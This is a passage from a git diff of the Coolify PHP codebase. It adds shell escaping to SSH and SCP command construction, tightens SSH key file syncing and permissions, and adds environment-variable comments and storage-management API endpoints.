$checkCommand .= "{$server->user}@{$server->ip}"; + $checkCommand .= self::escapedUserAtHost($server); $process = Process::run($checkCommand); if ($process->exitCode() !== 0) { @@ -80,7 +81,7 @@ public static function establishNewMultiplexedConnection(Server $server): bool $establishCommand .= ' -o ProxyCommand="cloudflared access ssh --hostname %h" '; } $establishCommand .= self::getCommonSshOptions($server, $sshKeyLocation, $connectionTimeout, $serverInterval); - $establishCommand .= "{$server->user}@{$server->ip}"; + $establishCommand .= self::escapedUserAtHost($server); $establishProcess = Process::run($establishCommand); if ($establishProcess->exitCode() !== 0) { return false; @@ -101,7 +102,7 @@ public static function removeMuxFile(Server $server) if (data_get($server, 'settings.is_cloudflare_tunnel')) { $closeCommand .= '-o ProxyCommand="cloudflared access ssh --hostname %h" '; } - $closeCommand .= "{$server->user}@{$server->ip}"; + $closeCommand .= self::escapedUserAtHost($server); Process::run($closeCommand); // Clear connection metadata from cache @@ -141,9 +142,9 @@ public static function generateScpCommand(Server $server, string $source, string $scp_command .= self::getCommonSshOptions($server, $sshKeyLocation, config('constants.ssh.connection_timeout'), config('constants.ssh.server_interval'), isScp: true); if ($server->isIpv6()) { - $scp_command .= "{$source} {$server->user}@[{$server->ip}]:{$dest}"; + $scp_command .= "{$source} ".escapeshellarg($server->user).'@['.escapeshellarg($server->ip)."]:{$dest}"; } else { - $scp_command .= "{$source} {$server->user}@{$server->ip}:{$dest}"; + $scp_command .= "{$source} ".self::escapedUserAtHost($server).":{$dest}"; } return $scp_command; @@ -189,13 +190,18 @@ public static function generateSshCommand(Server $server, string $command, bool $delimiter = base64_encode($delimiter); $command = str_replace($delimiter, '', $command); - $ssh_command .= "{$server->user}@{$server->ip} 'bash -se' << \\$delimiter".PHP_EOL + $ssh_command .= self::escapedUserAtHost($server)." 'bash -se' << \\$delimiter".PHP_EOL .$command.PHP_EOL .$delimiter; return $ssh_command; } + private static function escapedUserAtHost(Server $server): string + { + return escapeshellarg($server->user).'@'.escapeshellarg($server->ip); + } + private static function isMultiplexingEnabled(): bool { return config('constants.ssh.mux_enabled') && ! config('constants.coolify.is_windows_docker_desktop'); @@ -204,12 +210,37 @@ private static function isMultiplexingEnabled(): bool private static function validateSshKey(PrivateKey $privateKey): void { $keyLocation = $privateKey->getKeyLocation(); - $checkKeyCommand = "ls $keyLocation 2>/dev/null"; - $keyCheckProcess = Process::run($checkKeyCommand); + $filename = "ssh_key@{$privateKey->uuid}"; + $disk = Storage::disk('ssh-keys'); - if ($keyCheckProcess->exitCode() !== 0) { + $needsRewrite = false; + + if (! $disk->exists($filename)) { + $needsRewrite = true; + } else { + $diskContent = $disk->get($filename); + if ($diskContent !== $privateKey->private_key) { + Log::warning('SSH key file content does not match database, resyncing', [ + 'key_uuid' => $privateKey->uuid, + ]); + $needsRewrite = true; + } + } + + if ($needsRewrite) { $privateKey->storeInFileSystem(); } + + // Ensure correct permissions (SSH requires 0600) + if (file_exists($keyLocation)) { + $currentPerms = fileperms($keyLocation) & 0777; + if ($currentPerms !== 0600 && ! chmod($keyLocation, 0600)) { + Log::warning('Failed to set SSH key file permissions to 0600', [ + 'key_uuid' => $privateKey->uuid, + 'path' => $keyLocation, + ]); + } + } } private static function getCommonSshOptions(Server $server, string $sshKeyLocation, int $connectionTimeout, int $serverInterval, bool $isScp = false): string @@ -224,9 +255,9 @@ private static function getCommonSshOptions(Server $server, string $sshKeyLocati // Bruh if ($isScp) { - $options .= "-P {$server->port} "; + $options .= '-P '.escapeshellarg((string) $server->port).' '; } else { - $options .= "-p {$server->port} "; + $options .= '-p '.escapeshellarg((string) $server->port).' '; } return $options; @@ -245,7 +276,7 @@ public static function isConnectionHealthy(Server $server): bool if (data_get($server, 'settings.is_cloudflare_tunnel')) { $healthCommand .= '-o ProxyCommand="cloudflared access ssh --hostname %h" '; } - $healthCommand .= "{$server->user}@{$server->ip} 'echo \"health_check_ok\"'"; + $healthCommand .= self::escapedUserAtHost($server)." 'echo \"health_check_ok\"'"; $process = Process::run($healthCommand); $isHealthy = $process->exitCode() === 0 && str_contains($process->output(), 'health_check_ok'); diff --git a/app/Http/Controllers/Api/ApplicationsController.php b/app/Http/Controllers/Api/ApplicationsController.php index 256308afd..ad1f50ea2 100644 --- a/app/Http/Controllers/Api/ApplicationsController.php +++ b/app/Http/Controllers/Api/ApplicationsController.php @@ -11,6 +11,8 @@ use App\Models\Application; use App\Models\EnvironmentVariable; use App\Models\GithubApp; +use App\Models\LocalFileVolume; +use App\Models\LocalPersistentVolume; use App\Models\PrivateKey; use App\Models\Project; use App\Models\Server; @@ -18,6 +20,8 @@ use App\Rules\ValidGitBranch; use App\Rules\ValidGitRepositoryUrl; use App\Services\DockerImageParser; +use App\Support\ValidationPatterns; +use Illuminate\Http\JsonResponse; use Illuminate\Http\Request; use Illuminate\Support\Facades\Http; use Illuminate\Support\Facades\Validator; @@ -999,10 +1003,10 @@ private function create_application(Request $request, $type) $this->authorize('create', Application::class); $return = validateIncomingRequest($request); - if ($return instanceof \Illuminate\Http\JsonResponse) { + if ($return instanceof JsonResponse) { return $return; } - $allowedFields = ['project_uuid', 'environment_name', 'environment_uuid', 'server_uuid', 'destination_uuid', 'type', 'name', 'description', 'is_static', 'is_spa', 'is_auto_deploy_enabled', 'is_force_https_enabled', 'domains', 'git_repository', 'git_branch', 'git_commit_sha', 'private_key_uuid', 'docker_registry_image_name', 'docker_registry_image_tag', 'build_pack', 'install_command', 'build_command', 'start_command', 'ports_exposes', 'ports_mappings', 'custom_network_aliases', 'base_directory', 'publish_directory', 'health_check_enabled', 'health_check_path', 'health_check_port', 'health_check_host', 'health_check_method', 'health_check_return_code', 'health_check_scheme', 'health_check_response_text', 'health_check_interval', 'health_check_timeout', 'health_check_retries', 'health_check_start_period', 'limits_memory', 'limits_memory_swap', 'limits_memory_swappiness', 'limits_memory_reservation', 'limits_cpus', 'limits_cpuset', 'limits_cpu_shares', 'custom_labels', 'custom_docker_run_options', 'post_deployment_command', 'post_deployment_command_container', 'pre_deployment_command', 'pre_deployment_command_container', 'manual_webhook_secret_github', 'manual_webhook_secret_gitlab', 'manual_webhook_secret_bitbucket', 'manual_webhook_secret_gitea', 'redirect', 'github_app_uuid', 'instant_deploy', 'dockerfile', 'dockerfile_location', 'docker_compose_location', 'docker_compose_raw', 'docker_compose_custom_start_command', 'docker_compose_custom_build_command', 'docker_compose_domains', 'watch_paths', 'use_build_server', 'static_image', 'custom_nginx_configuration', 'is_http_basic_auth_enabled', 'http_basic_auth_username', 'http_basic_auth_password', 'connect_to_docker_network', 'force_domain_override', 'autogenerate_domain', 'is_container_label_escape_enabled']; + $allowedFields = ['project_uuid', 'environment_name', 'environment_uuid', 'server_uuid', 'destination_uuid', 'type', 'name', 'description', 'is_static', 'is_spa', 'is_auto_deploy_enabled', 'is_force_https_enabled', 'domains', 'git_repository', 'git_branch', 'git_commit_sha', 'private_key_uuid', 'docker_registry_image_name', 'docker_registry_image_tag', 'build_pack', 'install_command', 'build_command', 'start_command', 'ports_exposes', 'ports_mappings', 'custom_network_aliases', 'base_directory', 'publish_directory', 'health_check_enabled', 'health_check_type', 'health_check_command', 'health_check_path', 'health_check_port', 'health_check_host', 'health_check_method', 'health_check_return_code', 'health_check_scheme', 'health_check_response_text', 'health_check_interval', 'health_check_timeout', 'health_check_retries', 'health_check_start_period', 'limits_memory', 'limits_memory_swap', 'limits_memory_swappiness', 'limits_memory_reservation', 'limits_cpus', 'limits_cpuset', 'limits_cpu_shares', 'custom_labels', 'custom_docker_run_options', 'post_deployment_command', 'post_deployment_command_container', 'pre_deployment_command', 'pre_deployment_command_container', 'manual_webhook_secret_github', 'manual_webhook_secret_gitlab', 'manual_webhook_secret_bitbucket', 'manual_webhook_secret_gitea', 'redirect', 'github_app_uuid', 'instant_deploy', 'dockerfile', 'dockerfile_location', 'docker_compose_location', 'docker_compose_raw', 'docker_compose_custom_start_command', 'docker_compose_custom_build_command', 'docker_compose_domains', 'watch_paths', 'use_build_server', 'static_image', 'custom_nginx_configuration', 'is_http_basic_auth_enabled', 'http_basic_auth_username', 'http_basic_auth_password', 'connect_to_docker_network', 'force_domain_override', 'autogenerate_domain', 'is_container_label_escape_enabled']; $validator = customApiValidator($request->all(), [ 'name' => 'string|max:255', @@ -1095,6 +1099,17 @@ private function create_application(Request $request, $type) return response()->json(['message' => 'Server has multiple destinations and you do not set destination_uuid.'], 400); } $destination = $destinations->first(); + if ($destinations->count() > 1 && $request->has('destination_uuid')) { + $destination = $destinations->where('uuid', $request->destination_uuid)->first(); + if (! $destination) { + return response()->json([ + 'message' => 'Validation failed.', + 'errors' => [ + 'destination_uuid' => 'Provided destination_uuid does not belong to the specified server.', + ], + ], 422); + } + } if ($type === 'public') { $validationRules = [ 'git_repository' => ['string', 'required', new ValidGitRepositoryUrl], @@ -1136,7 +1151,7 @@ private function create_application(Request $request, $type) $request->offsetSet('name', generate_application_name($request->git_repository, $request->git_branch)); } $return = $this->validateDataApplications($request, $server); - if ($return instanceof \Illuminate\Http\JsonResponse) { + if ($return instanceof JsonResponse) { return $return; } @@ -1331,7 +1346,7 @@ private function create_application(Request $request, $type) } $return = $this->validateDataApplications($request, $server); - if ($return instanceof \Illuminate\Http\JsonResponse) { + if ($return instanceof JsonResponse) { return $return; } $githubApp = GithubApp::whereTeamId($teamId)->where('uuid', $githubAppUuid)->first(); @@ -1559,7 +1574,7 @@ private function create_application(Request $request, $type) } $return = $this->validateDataApplications($request, $server); - if ($return instanceof \Illuminate\Http\JsonResponse) { + if ($return instanceof JsonResponse) { return $return; } $privateKey = PrivateKey::whereTeamId($teamId)->where('uuid', $request->private_key_uuid)->first(); @@ -1728,7 +1743,7 @@ private function create_application(Request $request, $type) } $return = $this->validateDataApplications($request, $server); - if ($return instanceof \Illuminate\Http\JsonResponse) { + if ($return instanceof JsonResponse) { return $return; } if (! isBase64Encoded($request->dockerfile)) { @@ -1836,7 +1851,7 @@ private function create_application(Request $request, $type) $request->offsetSet('name', 'docker-image-'.new Cuid2); } $return = $this->validateDataApplications($request, $server); - if ($return instanceof \Illuminate\Http\JsonResponse) { + if ($return instanceof JsonResponse) { return $return; } // Process docker image name and tag using DockerImageParser @@ -1960,7 +1975,7 @@ private function create_application(Request $request, $type) ], 422); } $return = $this->validateDataApplications($request, $server); - if ($return instanceof \Illuminate\Http\JsonResponse) { + if ($return instanceof JsonResponse) { return $return; } if (! isBase64Encoded($request->docker_compose_raw)) { @@ -2446,7 +2461,7 @@ public function update_by_uuid(Request $request) return invalidTokenResponse(); } $return = validateIncomingRequest($request); - if ($return instanceof \Illuminate\Http\JsonResponse) { + if ($return instanceof JsonResponse) { return $return; } @@ -2460,7 +2475,7 @@ public function update_by_uuid(Request $request) $this->authorize('update', $application); $server = $application->destination->server; - $allowedFields = ['name', 'description', 'is_static', 'is_spa', 'is_auto_deploy_enabled', 'is_force_https_enabled', 'domains', 'git_repository', 'git_branch', 'git_commit_sha', 'docker_registry_image_name', 'docker_registry_image_tag', 'build_pack', 'static_image', 'install_command', 'build_command', 'start_command', 'ports_exposes', 'ports_mappings', 'custom_network_aliases', 'base_directory', 'publish_directory', 'health_check_enabled', 'health_check_path', 'health_check_port', 'health_check_host', 'health_check_method', 'health_check_return_code', 'health_check_scheme', 'health_check_response_text', 'health_check_interval', 'health_check_timeout', 'health_check_retries', 'health_check_start_period', 'limits_memory', 'limits_memory_swap', 'limits_memory_swappiness', 'limits_memory_reservation', 'limits_cpus', 'limits_cpuset', 'limits_cpu_shares', 'custom_labels', 'custom_docker_run_options', 'post_deployment_command', 'post_deployment_command_container', 'pre_deployment_command', 'pre_deployment_command_container', 'watch_paths', 'manual_webhook_secret_github', 'manual_webhook_secret_gitlab', 'manual_webhook_secret_bitbucket', 'manual_webhook_secret_gitea', 'dockerfile_location', 'docker_compose_location', 'docker_compose_custom_start_command', 'docker_compose_custom_build_command', 'docker_compose_domains', 'redirect', 'instant_deploy', 'use_build_server', 'custom_nginx_configuration', 'is_http_basic_auth_enabled', 'http_basic_auth_username', 'http_basic_auth_password', 'connect_to_docker_network', 'force_domain_override', 'is_container_label_escape_enabled']; + $allowedFields = ['name', 'description', 'is_static', 'is_spa', 'is_auto_deploy_enabled', 'is_force_https_enabled', 'domains', 'git_repository', 'git_branch', 'git_commit_sha', 'docker_registry_image_name', 'docker_registry_image_tag', 'build_pack', 'static_image', 'install_command', 'build_command', 'start_command', 'ports_exposes', 'ports_mappings', 'custom_network_aliases', 'base_directory', 'publish_directory', 'health_check_enabled', 'health_check_type', 'health_check_command', 'health_check_path', 'health_check_port', 'health_check_host', 'health_check_method', 'health_check_return_code', 'health_check_scheme', 'health_check_response_text', 'health_check_interval', 'health_check_timeout', 'health_check_retries', 'health_check_start_period', 'limits_memory', 'limits_memory_swap', 'limits_memory_swappiness', 'limits_memory_reservation', 'limits_cpus', 'limits_cpuset', 'limits_cpu_shares', 'custom_labels', 'custom_docker_run_options', 'post_deployment_command', 'post_deployment_command_container', 'pre_deployment_command', 'pre_deployment_command_container', 'watch_paths', 'manual_webhook_secret_github', 'manual_webhook_secret_gitlab', 'manual_webhook_secret_bitbucket', 'manual_webhook_secret_gitea', 'dockerfile_location', 'dockerfile_target_build', 'docker_compose_location', 'docker_compose_custom_start_command', 'docker_compose_custom_build_command', 'docker_compose_domains', 'redirect', 'instant_deploy', 'use_build_server', 'custom_nginx_configuration', 'is_http_basic_auth_enabled', 'http_basic_auth_username', 'http_basic_auth_password', 'connect_to_docker_network', 'force_domain_override', 'is_container_label_escape_enabled']; $validationRules = [ 'name' => 'string|max:255', @@ -2471,8 +2486,6 @@ public function update_by_uuid(Request $request) 'docker_compose_domains.*' => 'array:name,domain', 'docker_compose_domains.*.name' => 'string|required', 'docker_compose_domains.*.domain' => 'string|nullable', - 'docker_compose_custom_start_command' => 'string|nullable', - 'docker_compose_custom_build_command' => 'string|nullable', 'custom_nginx_configuration' => 'string|nullable', 'is_http_basic_auth_enabled' => 'boolean|nullable', 'http_basic_auth_username' => 'string', @@ -2518,7 +2531,7 @@ public function update_by_uuid(Request $request) } } $return = $this->validateDataApplications($request, $server); - if ($return instanceof \Illuminate\Http\JsonResponse) { + if ($return instanceof JsonResponse) { return $return; } $extraFields = array_diff(array_keys($request->all()), $allowedFields); @@ -2936,7 +2949,7 @@ public function envs(Request $request) )] public function update_env_by_uuid(Request $request) { - $allowedFields = ['key', 'value', 'is_preview', 'is_literal', 'is_multiline', 'is_shown_once', 'is_runtime', 'is_buildtime']; + $allowedFields = ['key', 'value', 'is_preview', 'is_literal', 'is_multiline', 'is_shown_once', 'is_runtime', 'is_buildtime', 'comment']; $teamId = getTeamIdFromToken(); if (is_null($teamId)) { @@ -2944,10 +2957,10 @@ public function update_env_by_uuid(Request $request) } $return = validateIncomingRequest($request); - if ($return instanceof \Illuminate\Http\JsonResponse) { + if ($return instanceof JsonResponse) { return $return; } - $application = Application::ownedByCurrentTeamAPI($teamId)->where('uuid', $request->uuid)->first(); + $application = Application::ownedByCurrentTeamAPI($teamId)->where('uuid', $request->route('uuid'))->first(); if (! $application) { return response()->json([ @@ -2966,6 +2979,7 @@ public function update_env_by_uuid(Request $request) 'is_shown_once' => 'boolean', 'is_runtime' => 'boolean', 'is_buildtime' => 'boolean', + 'comment' => 'string|nullable|max:256', ]); $extraFields = array_diff(array_keys($request->all()), $allowedFields); @@ -3007,6 +3021,9 @@ public function update_env_by_uuid(Request $request) if ($request->has('is_buildtime') && $env->is_buildtime != $request->is_buildtime) { $env->is_buildtime = $request->is_buildtime; } + if ($request->has('comment') && $env->comment != $request->comment) { + $env->comment = $request->comment; + } $env->save(); return response()->json($this->removeSensitiveData($env))->setStatusCode(201); @@ -3037,6 +3054,9 @@ public function update_env_by_uuid(Request $request) if ($request->has('is_buildtime') && $env->is_buildtime != $request->is_buildtime) { $env->is_buildtime = $request->is_buildtime; } + if ($request->has('comment') && $env->comment != $request->comment) { + $env->comment = $request->comment; + } $env->save(); return response()->json($this->removeSensitiveData($env))->setStatusCode(201); @@ -3138,10 +3158,10 @@ public function create_bulk_envs(Request $request) } $return = validateIncomingRequest($request); - if ($return instanceof \Illuminate\Http\JsonResponse) { + if ($return instanceof JsonResponse) { return $return; } - $application = Application::ownedByCurrentTeamAPI($teamId)->where('uuid', $request->uuid)->first(); + $application = Application::ownedByCurrentTeamAPI($teamId)->where('uuid', $request->route('uuid'))->first(); if (! $application) { return response()->json([ @@ -3158,7 +3178,7 @@ public function create_bulk_envs(Request $request) ], 400); } $bulk_data = collect($bulk_data)->map(function ($item) { - return collect($item)->only(['key', 'value', 'is_preview', 'is_literal', 'is_multiline', 'is_shown_once', 'is_runtime', 'is_buildtime']); + return collect($item)->only(['key', 'value', 'is_preview', 'is_literal', 'is_multiline', 'is_shown_once', 'is_runtime', 'is_buildtime', 'comment']); }); $returnedEnvs = collect(); foreach ($bulk_data as $item) { @@ -3171,6 +3191,7 @@ public function create_bulk_envs(Request $request) 'is_shown_once' => 'boolean', 'is_runtime' => 'boolean', 'is_buildtime' => 'boolean', + 'comment' => 'string|nullable|max:256', ]); if ($validator->fails()) { return response()->json([ @@ -3203,6 +3224,9 @@ public function create_bulk_envs(Request $request) if ($item->has('is_buildtime') && $env->is_buildtime != $item->get('is_buildtime')) { $env->is_buildtime = $item->get('is_buildtime'); } + if ($item->has('comment') && $env->comment != $item->get('comment')) { + $env->comment = $item->get('comment'); + } $env->save(); } else { $env = $application->environment_variables()->create([ @@ -3214,6 +3238,7 @@ public function create_bulk_envs(Request $request) 'is_shown_once' => $is_shown_once, 'is_runtime' => $item->get('is_runtime', true), 'is_buildtime' => $item->get('is_buildtime', true), + 'comment' => $item->get('comment'), 'resourceable_type' => get_class($application), 'resourceable_id' => $application->id, ]); @@ -3237,6 +3262,9 @@ public function create_bulk_envs(Request $request) if ($item->has('is_buildtime') && $env->is_buildtime != $item->get('is_buildtime')) { $env->is_buildtime = $item->get('is_buildtime'); } + if ($item->has('comment') && $env->comment != $item->get('comment')) { + $env->comment = $item->get('comment'); + } $env->save(); } else { $env = $application->environment_variables()->create([ @@ -3248,6 +3276,7 @@ public function create_bulk_envs(Request $request) 'is_shown_once' => $is_shown_once, 'is_runtime' => $item->get('is_runtime', true), 'is_buildtime' => $item->get('is_buildtime', true), + 'comment' => $item->get('comment'), 'resourceable_type' => get_class($application), 'resourceable_id' => $application->id, ]); @@ -3329,13 +3358,13 @@ public function create_bulk_envs(Request $request) )] public function create_env(Request $request) { - $allowedFields = ['key', 'value', 'is_preview', 'is_literal', 'is_multiline', 'is_shown_once', 'is_runtime', 'is_buildtime']; + $allowedFields = ['key', 'value', 'is_preview', 'is_literal', 'is_multiline', 'is_shown_once', 'is_runtime', 'is_buildtime', 'comment']; $teamId = getTeamIdFromToken(); if (is_null($teamId)) { return invalidTokenResponse(); } - $application = Application::ownedByCurrentTeamAPI($teamId)->where('uuid', $request->uuid)->first(); + $application = Application::ownedByCurrentTeamAPI($teamId)->where('uuid', $request->route('uuid'))->first(); if (! $application) { return response()->json([ @@ -3354,6 +3383,7 @@ public function create_env(Request $request) 'is_shown_once' => 'boolean', 'is_runtime' => 'boolean', 'is_buildtime' => 'boolean', + 'comment' => 'string|nullable|max:256', ]); $extraFields = array_diff(array_keys($request->all()), $allowedFields); @@ -3389,6 +3419,7 @@ public function create_env(Request $request) 'is_shown_once' => $request->is_shown_once ?? false, 'is_runtime' => $request->is_runtime ?? true, 'is_buildtime' => $request->is_buildtime ?? true, + 'comment' => $request->comment ?? null, 'resourceable_type' => get_class($application), 'resourceable_id' => $application->id, ]); @@ -3413,6 +3444,7 @@ public function create_env(Request $request) 'is_shown_once' => $request->is_shown_once ?? false, 'is_runtime' => $request->is_runtime ?? true, 'is_buildtime' => $request->is_buildtime ?? true, + 'comment' => $request->comment ?? null, 'resourceable_type' => get_class($application), 'resourceable_id' => $application->id, ]); @@ -3489,7 +3521,7 @@ public function delete_env_by_uuid(Request $request) if (is_null($teamId)) { return invalidTokenResponse(); } - $application = Application::ownedByCurrentTeamAPI($teamId)->where('uuid', $request->uuid)->first(); + $application = Application::ownedByCurrentTeamAPI($teamId)->where('uuid', $request->route('uuid'))->first(); if (! $application) { return response()->json([ @@ -3499,7 +3531,7 @@ public function delete_env_by_uuid(Request $request) $this->authorize('manageEnvironment', $application); - $found_env = EnvironmentVariable::where('uuid', $request->env_uuid) + $found_env = EnvironmentVariable::where('uuid', $request->route('env_uuid')) ->where('resourceable_type', Application::class) ->where('resourceable_id', $application->id) ->first(); @@ -3649,6 +3681,15 @@ public function action_deploy(Request $request) type: 'string', ) ), + new OA\Parameter( + name: 'docker_cleanup', + in: 'query', + description: 'Perform docker cleanup (prune networks, volumes, etc.).', + schema: new OA\Schema( + type: 'boolean', + default: true, + ) + ), ], responses: [ new OA\Response( @@ -3697,7 +3738,8 @@ public function action_stop(Request $request) $this->authorize('deploy', $application); - StopApplication::dispatch($application); + $dockerCleanup = $request->boolean('docker_cleanup', true); + StopApplication::dispatch($application, false, $dockerCleanup); return response()->json( [ @@ -3888,4 +3930,528 @@ private function validateDataApplications(Request $request, Server $server) } } } + + #[OA\Get( + summary: 'List Storages', + description: 'List all persistent storages and file storages by application UUID.', + path: '/applications/{uuid}/storages', + operationId: 'list-storages-by-application-uuid', + security: [ + ['bearerAuth' => []], + ], + tags: ['Applications'], + parameters: [ + new OA\Parameter( + name: 'uuid', + in: 'path', + description: 'UUID of the application.', + required: true, + schema: new OA\Schema( + type: 'string', + ) + ), + ], + responses: [ + new OA\Response( + response: 200, + description: 'All storages by application UUID.', + content: new OA\JsonContent( + properties: [ + new OA\Property(property: 'persistent_storages', type: 'array', items: new OA\Items(type: 'object')), + new OA\Property(property: 'file_storages', type: 'array', items: new OA\Items(type: 'object')), + ], + ), + ), + new OA\Response( + response: 401, + ref: '#/components/responses/401', + ), + new OA\Response( + response: 400, + ref: '#/components/responses/400', + ), + new OA\Response( + response: 404, + ref: '#/components/responses/404', + ), + ] + )] + public function storages(Request $request): JsonResponse + { + $teamId = getTeamIdFromToken(); + if (is_null($teamId)) { + return invalidTokenResponse(); + } + $application = Application::ownedByCurrentTeamAPI($teamId)->where('uuid', $request->uuid)->first(); + + if (! $application) { + return response()->json([ + 'message' => 'Application not found', + ], 404); + } + + $this->authorize('view', $application); + + $persistentStorages = $application->persistentStorages->sortBy('id')->values(); + $fileStorages = $application->fileStorages->sortBy('id')->values(); + + return response()->json([ + 'persistent_storages' => $persistentStorages, + 'file_storages' => $fileStorages, + ]); + } + + #[OA\Patch( + summary: 'Update Storage', + description: 'Update a persistent storage or file storage by application UUID.', + path: '/applications/{uuid}/storages', + operationId: 'update-storage-by-application-uuid', + security: [ + ['bearerAuth' => []], + ], + tags: ['Applications'], + parameters: [ + new OA\Parameter( + name: 'uuid', + in: 'path', + description: 'UUID of the application.', + required: true, + schema: new OA\Schema( + type: 'string', + ) + ), + ], + requestBody: new OA\RequestBody( + description: 'Storage updated. For read-only storages (from docker-compose or services), only is_preview_suffix_enabled can be updated.', + required: true, + content: [ + new OA\MediaType( + mediaType: 'application/json', + schema: new OA\Schema( + type: 'object', + required: ['type'], + properties: [ + 'uuid' => ['type' => 'string', 'description' => 'The UUID of the storage (preferred).'], + 'id' => ['type' => 'integer', 'description' => 'The ID of the storage (deprecated, use uuid instead).'], + 'type' => ['type' => 'string', 'enum' => ['persistent', 'file'], 'description' => 'The type of storage: persistent or file.'], + 'is_preview_suffix_enabled' => ['type' => 'boolean', 'description' => 'Whether to add -pr-N suffix for preview deployments.'], + 'name' => ['type' => 'string', 'description' => 'The volume name (persistent only, not allowed for read-only storages).'], + 'mount_path' => ['type' => 'string', 'description' => 'The container mount path (not allowed for read-only storages).'], + 'host_path' => ['type' => 'string', 'nullable' => true, 'description' => 'The host path (persistent only, not allowed for read-only storages).'], + 'content' => ['type' => 'string', 'nullable' => true, 'description' => 'The file content (file only, not allowed for read-only storages).'], + ], + additionalProperties: false, + ), + ), + ], + ), + responses: [ + new OA\Response( + response: 200, + description: 'Storage updated.', + content: new OA\JsonContent(type: 'object'), + ), + new OA\Response( + response: 401, + ref: '#/components/responses/401', + ), + new OA\Response( + response: 400, + ref: '#/components/responses/400', + ), + new OA\Response( + response: 404, + ref: '#/components/responses/404', + ), + new OA\Response( + response: 422, + ref: '#/components/responses/422', + ), + ] + )] + public function update_storage(Request $request): JsonResponse + { + $teamId = getTeamIdFromToken(); + + if (is_null($teamId)) { + return invalidTokenResponse(); + } + + $return = validateIncomingRequest($request); + if ($return instanceof JsonResponse) { + return $return; + } + + $application = Application::ownedByCurrentTeamAPI($teamId)->where('uuid', $request->route('uuid'))->first(); + + if (! $application) { + return response()->json([ + 'message' => 'Application not found', + ], 404); + } + + $this->authorize('update', $application); + + $validator = customApiValidator($request->all(), [ + 'uuid' => 'string', + 'id' => 'integer', + 'type' => 'required|string|in:persistent,file', + 'is_preview_suffix_enabled' => 'boolean', + 'name' => ['string', 'regex:'.ValidationPatterns::VOLUME_NAME_PATTERN], + 'mount_path' => 'string', + 'host_path' => 'string|nullable', + 'content' => 'string|nullable', + ]); + + $allAllowedFields = ['uuid', 'id', 'type', 'is_preview_suffix_enabled', 'name', 'mount_path', 'host_path', 'content']; + $extraFields = array_diff(array_keys($request->all()), $allAllowedFields); + if ($validator->fails() || ! empty($extraFields)) { + $errors = $validator->errors(); + if (! empty($extraFields)) { + foreach ($extraFields as $field) { + $errors->add($field, 'This field is not allowed.'); + } + } + + return response()->json([ + 'message' => 'Validation failed.', + 'errors' => $errors, + ], 422); + } + + $storageUuid = $request->input('uuid'); + $storageId = $request->input('id'); + + if (! $storageUuid && ! $storageId) { + return response()->json([ + 'message' => 'Validation failed.', + 'errors' => ['uuid' => 'Either uuid or id is required.'], + ], 422); + } + + $lookupField = $storageUuid ? 'uuid' : 'id'; + $lookupValue = $storageUuid ?? $storageId; + + if ($request->type === 'persistent') { + $storage = $application->persistentStorages->where($lookupField, $lookupValue)->first(); + } else { + $storage = $application->fileStorages->where($lookupField, $lookupValue)->first(); + } + + if (! $storage) { + return response()->json([ + 'message' => 'Storage not found.', + ], 404); + } + + $isReadOnly = $storage->shouldBeReadOnlyInUI(); + $editableOnlyFields = ['name', 'mount_path', 'host_path', 'content']; + $requestedEditableFields = array_intersect($editableOnlyFields, array_keys($request->all())); + + if ($isReadOnly && ! empty($requestedEditableFields)) { + return response()->json([ + 'message' => 'This storage is read-only (managed by docker-compose or service definition). Only is_preview_suffix_enabled can be updated.', + 'read_only_fields' => array_values($requestedEditableFields), + ], 422); + } + + // Reject fields that don't apply to the given storage type + if (! $isReadOnly) { + $typeSpecificInvalidFields = $request->type === 'persistent' + ? array_intersect(['content'], array_keys($request->all())) + : array_intersect(['name', 'host_path'], array_keys($request->all())); + + if (! empty($typeSpecificInvalidFields)) { + return response()->json([ + 'message' => 'Validation failed.', + 'errors' => collect($typeSpecificInvalidFields) + ->mapWithKeys(fn ($field) => [$field => "Field '{$field}' is not valid for type '{$request->type}'."]), + ], 422); + } + } + + // Always allowed + if ($request->has('is_preview_suffix_enabled')) { + $storage->is_preview_suffix_enabled = $request->is_preview_suffix_enabled; + } + + // Only for editable storages + if (! $isReadOnly) { + if ($request->type === 'persistent') { + if ($request->has('name')) { + $storage->name = $request->name; + } + if ($request->has('mount_path')) { + $storage->mount_path = $request->mount_path; + } + if ($request->has('host_path')) { + $storage->host_path = $request->host_path; + } + } else { + if ($request->has('mount_path')) { + $storage->mount_path = $request->mount_path; + } + if ($request->has('content')) { + $storage->content = $request->content; + } + } + } + + $storage->save(); + + return response()->json($storage); + } + + #[OA\Post( + summary: 'Create Storage', + description: 'Create a persistent storage or file storage for an application.', + path: '/applications/{uuid}/storages', + operationId: 'create-storage-by-application-uuid', + security: [ + ['bearerAuth' => []], + ], + tags: ['Applications'], + parameters: [ + new OA\Parameter( + name: 'uuid', + in: 'path', + description: 'UUID of the application.', + required: true, + schema: new OA\Schema(type: 'string') + ), + ], + requestBody: new OA\RequestBody( + required: true, + content: [ + new OA\MediaType( + mediaType: 'application/json', + schema: new OA\Schema( + type: 'object', + required: ['type', 'mount_path'], + properties: [ + 'type' => ['type' => 'string', 'enum' => ['persistent', 'file'], 'description' => 'The type of storage.'], + 'name' => ['type' => 'string', 'description' => 'Volume name (persistent only, required for persistent).'], + 'mount_path' => ['type' => 'string', 'description' => 'The container mount path.'], + 'host_path' => ['type' => 'string', 'nullable' => true, 'description' => 'The host path (persistent only, optional).'], + 'content' => ['type' => 'string', 'nullable' => true, 'description' => 'File content (file only, optional).'], + 'is_directory' => ['type' => 'boolean', 'description' => 'Whether this is a directory mount (file only, default false).'], + 'fs_path' => ['type' => 'string', 'description' => 'Host directory path (required when is_directory is true).'], + ], + additionalProperties: false, + ), + ), + ], + ), + responses: [ + new OA\Response( + response: 201, + description: 'Storage created.', + content: new OA\JsonContent(type: 'object'), + ), + new OA\Response(response: 401, ref: '#/components/responses/401'), + new OA\Response(response: 400, ref: '#/components/responses/400'), + new OA\Response(response: 404, ref: '#/components/responses/404'), + new OA\Response(response: 422, ref: '#/components/responses/422'), + ] + )] + public function create_storage(Request $request): JsonResponse + { + $teamId = getTeamIdFromToken(); + if (is_null($teamId)) { + return invalidTokenResponse(); + } + + $return = validateIncomingRequest($request); + if ($return instanceof JsonResponse) { + return $return; + } + + $application = Application::ownedByCurrentTeamAPI($teamId)->where('uuid', $request->uuid)->first(); + if (! $application) { + return response()->json(['message' => 'Application not found.'], 404); + } + + $this->authorize('update', $application); + + $validator = customApiValidator($request->all(), [ + 'type' => 'required|string|in:persistent,file', + 'name' => ['string', 'regex:'.ValidationPatterns::VOLUME_NAME_PATTERN], + 'mount_path' => 'required|string', + 'host_path' => 'string|nullable', + 